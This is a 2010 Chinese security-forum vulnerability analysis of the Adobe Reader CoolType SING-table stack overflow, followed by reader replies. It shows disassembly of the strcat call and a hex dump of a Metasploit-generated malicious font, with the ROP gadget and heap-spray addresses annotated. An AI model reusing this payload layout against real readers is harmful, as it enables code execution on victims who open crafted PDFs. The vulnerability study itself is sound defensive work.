首页
社区
课程
招聘
[原创]千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
发表于: 2010-10-10 21:54 13035

[原创]千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析

2010-10-10 21:54
13035

题目:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
作者:仙果

目录:
0x1.漏洞描述
0x2.测试环境
0x3.漏洞触发原理分析
0x4.漏洞利用及绕过DEP相关技术分析
0x5.总结

题记:之所以称之为千年等一回,是因为很难得能碰到一个栈溢出漏洞,而且这个漏洞的利用还非常的怪异:一个栈溢出漏洞还需要堆喷射结合起来才能够很好的利用.
        Adobe Reader此时送上了这个漏洞,千年等一回啊,确实需要仔细的分析一下,以下是自己的分析总结,其中必然有不正确的地方,欢迎批评指正。某位大牛说可以不用JavaScript填充
        就可以做到稳定利用,我等小菜实在是不知道该如何做,还请大牛指点一二。

0x1.漏洞描述
        Adobe Reader的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户受骗打开了特制的PDF文件就可能导致执行任意代码。
       
0x2.测试环境
        系统:Windows XP SP3
        软件:Adboe Reader 9.3.4
        调试软件及其他:Windbg 010editor notepad++ IDA
       
0x3.漏洞触发原理分析
        样本为1个,Metaspoit生成。漏洞触发原理分析使用Metaspoit生成的样本。
        这是一个典型的栈溢出漏洞,其直接调用strcat不安全字符串操作函数,导致栈顶(esp)被覆盖,这与之前暴风影音爆出来的M3U文件格式的漏洞如出一辙,我有一篇分析,大家可以参考下。
        链接地址为:http://bbs.pediy.com/showthread.php?t=112633

	.text:0803DD5D                 push    offset aName    ; "name"
	.text:0803DD62                 push    edi             ; int
	.text:0803DD63                 lea     ecx, [ebp+var_1C]
	.text:0803DD66                 mov     [ebp+var_11], 0
	.text:0803DD6A                 call    sub_80217D7
	.text:0803DD6F                 cmp     [ebp+var_1C], esi
	.text:0803DD72                 jnz     short loc_803DDDD
	.text:0803DD74                 push    offset aSing    ; "SING"
	.text:0803DD79                 push    edi             ; int
	.text:0803DD7A                 lea     ecx, [ebp+var_24] 
	.text:0803DD7D                 call    sub_8021B06			//处理"SING"表,
	.text:0803DD82                 mov     eax, [ebp+var_24] 	//指向恶意数据,其实是SING表,已经被修改为恶意数据
	.text:0803DD85                 cmp     eax, esi				//比较eax,esi
	.text:0803DD87                 mov     byte ptr [ebp+var_4], 2
	.text:0803DD8B                 jz      short loc_803DDC4 	//相等则跳,这里不条
	.text:0803DD8D                 mov     ecx, [eax]			//把eax指向的内容赋给 ecx
	.text:0803DD8F                 and     ecx, 0FFFFh
	.text:0803DD95                 jz      short loc_803DD9F	//这里跳转
	.text:0803DD97                 cmp     ecx, 100h
	.text:0803DD9D                 jnz     short loc_803DDC0
	.text:0803DD9F
	.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
	.text:0803DD9F                 add     eax, 10h				//跳过sizeof(USHORT)*8
	.text:0803DDA2                 push    eax             ; Source 把源地址压入堆栈
	.text:0803DDA3                 lea     eax, [ebp+0]		//目的地址
	.text:0803DDA6                 push    eax             ; Dest //这里就是目的地址
	.text:0803DDA7                 mov     byte ptr [ebp+0], 0
	.text:0803DDAB                 call    strcat		//这里调用strcat函数,覆盖栈顶(ESP)
	typedef   sturct
	{
	char   tag[4];// 标记,如”SING”
	ULONG   checkSum;// 校验和
	ULONG   offset;// 相对文件的偏移
	ULONG   length;// 数据长度
	}TableEntry;
	head           字体头                                           字体的全局信息
	cmap           字符代码到图元的映射               把字符代码映射为图元索引
	glyf           图元数据                                       图元轮廓定义以及网格调整指令
	maxp           最大需求表                                   字体中所需内存分配情况的汇总数据
	mmtx           水平规格                                       图元水平规格
	loca           位置表索引                                   把元索引转换为图元的位置
	name           命名表                                           版权说明、字体名、字体族名、风格名等等
	hmtx           水平布局                                       字体水平布局星系:上高、下高、行间距、最大前进宽度、最小左支撑、最小右支撑
	kerm           字距调整表                                   字距调整对的数组
	post           PostScript信息                           所有图元的PostScript   FontInfo目录项和PostScript名
	PCLT           PCL   5数据                                     HP   PCL   5Printer   Language   的字体信息:字体数、宽度、x高度、风格、记号集等等
	OS/2           OS/2和Windows特有的规格         TrueType字体所需的规格集
00E0h: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47  .G.:..?... SING 
00F0h: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74  偌鹊.......遬ost 
0100h: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70  碯/?.隔...巔rep 
0110h: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00  ;.?.. ?..h.... 
0120h: 01 0E 00 01 00 00 00 00 00 00 00 3A 41 41 41 41  ...........:AAAA 
0130h: 41 41 41 41 7E C5 06 08 0C 0C 0C 0C 41 41 41 41  AAAA~?.....AAAA 	//调用0x081586a5后,执行这里
0140h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0150h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0160h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0170h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0180h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0190h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0200h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0210h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0220h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0230h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0240h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0250h: 41 41 41 41 41 41 41 41 41 41 41 41 44 10 23 08  AAAAAAAAAAAAD.#. //070013fa处调用0x08231044
0260h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0270h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0280h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0290h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0300h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0310h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0320h: 41 41 41 41 A5 86 15 08 41 41 41 41 41 41 41 41  AAAA..AAAAAAAA 	//0x081586a5
0330h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0340h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0350h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0360h: 41 41 41 41 41 41 41 41 6C 00 00 00 41 41 41 41  AAAAAAAAl...AAAA 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (23)
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢了 仙果大哥  我来抢个沙发!~~~~
2010-10-10 22:10
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我也来抢沙发!!   在吸收中。。。。
2010-10-10 22:13
0
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
求溢出样本~~~
2010-10-11 10:15
0
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我相信 ESP 覆盖是无敌的
2010-10-11 10:19
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
果然牛x
怎一个佩服了得啦
2010-10-11 10:30
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
7
样本已上传。。。。
2010-10-11 11:25
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
努力吸收……
2010-10-11 12:23
0
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
strcat 最好堵的东东,还牛叉
2010-10-11 16:17
0
雪    币: 309
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
牛人无数啊
2010-10-11 16:48
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
11
但功夫不负有心人不知道是国外还是国内的高手创造了通过"ROR绕过DEP"的方法


是ROP绕过DEP,笔误!!!
2010-10-11 18:53
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
12
你的样本都是用metasploit生成的,还是网上截获?提供点获取途径啊,呵呵……
2010-10-11 18:56
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
13
一直认为是ROR来者,嘿嘿
我没有认真看,
肯定改正
2010-10-11 21:58
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
14
一般都是metaspoit生成的,还有就是网上大牛共享的,其他就是从那些小旮旯里搜出来的
没有其他的获得途径了
我也想要0day,
2010-10-11 22:01
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
15
用msf生成这也是个不错的方法,以后可以借鉴一下,呵呵……
2010-10-12 23:12
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
16
www.exploit-db.com
上面也会爆出样本,不过得时时关注,
我基本每隔几天去逛一次
2010-10-12 23:28
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
学习了!
2010-10-13 06:37
0
雪    币: 708
活跃值: (847)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
谢谢!!!!!谢谢!!!有点像有人盗金库,有人还在旁边摄像!!!!!!
2010-10-13 15:22
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
19
看到exp就膜拜,发现难,调试难,利用难,写工具难
2010-10-13 19:11
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
有空的话学习一下,应该现在被杀了吧
2010-10-13 21:47
0
雪    币: 187
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
谢谢,老大学习ing...
2010-10-15 11:41
0
雪    币: 252
活跃值: (154)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
谢谢分享,呵呵
2010-10-15 12:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
支持原创!!
2010-10-22 10:43
0
雪    币: 310
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
24
只有分析过程,有调试过程就好.
2011-9-25 22:01
0
游客
登录 | 注册 方可回帖
返回
//